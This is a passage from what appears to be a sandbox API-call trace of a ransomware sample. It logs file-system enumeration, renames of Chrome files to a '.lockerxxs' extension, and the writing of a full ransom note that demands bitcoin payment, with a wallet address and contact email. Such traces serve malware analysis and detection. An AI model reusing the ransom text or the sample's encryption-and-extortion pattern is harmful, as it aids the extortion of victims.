lpString2="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" [0076.586] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\") returned="" [0076.586] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.586] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui") returned="msadcfr.dll.mui" [0076.586] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" [0076.586] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\") returned="" [0076.586] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.586] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui") returned="msadcor.dll.mui" [0076.586] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" [0076.586] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\") returned="" [0076.587] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.587] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui") returned="msaddsr.dll.mui" [0076.587] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" [0076.587] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\") returned="" [0076.587] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.587] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.587] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.587] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.587] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.588] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.588] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.588] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.588] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.588] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.588] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.588] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.589] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.589] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.589] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.589] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.589] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.589] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f34af90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.592] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.592] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.595] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.595] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.595] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.596] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.596] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.598] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.598] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.598] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.598] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.598] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.599] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.599] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.599] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.599] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.599] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.599] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.599] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.600] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.600] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.600] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.600] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.600] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.601] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.601] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.601] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.601] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.601] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.601] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.602] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0076.602] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0076.602] PeekMessageA (in: lpMsg=0x18fcc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcc4) returned 0 [0076.602] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0076.602] WriteFile (in: hFile=0x74, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0076.604] SetFileTime (hFile=0x74, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.605] CloseHandle (hObject=0x74) returned 1 [0076.605] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdbc8a580, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbc8a580, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fa53e, cFileName=".", cAlternateFileName="")) returned 0x502518 [0076.605] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0076.606] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.606] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.607] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.609] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.610] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.610] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.610] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.610] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.611] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.611] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.611] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.611] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.612] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.612] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60ae, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.614] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.616] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.616] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.617] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.617] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.617] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.617] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Extensions\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60ae, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.619] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.621] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.675] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat.lockerxxs" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat.lockerxxs")) returned 1 [0076.677] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0069, dwReserved1=0x730065, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.677] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.679] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.737] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrome.7z"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\chrome.7z.lockerxxs" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\chrome.7z.lockerxxs")) returned 1 [0076.741] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.741] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.741] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.741] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d86fec0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x4f60ae, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.744] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.746] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.747] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.747] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.747] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.747] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.747] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.748] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.748] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.748] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.748] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.748] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.749] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.749] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.749] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.749] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, 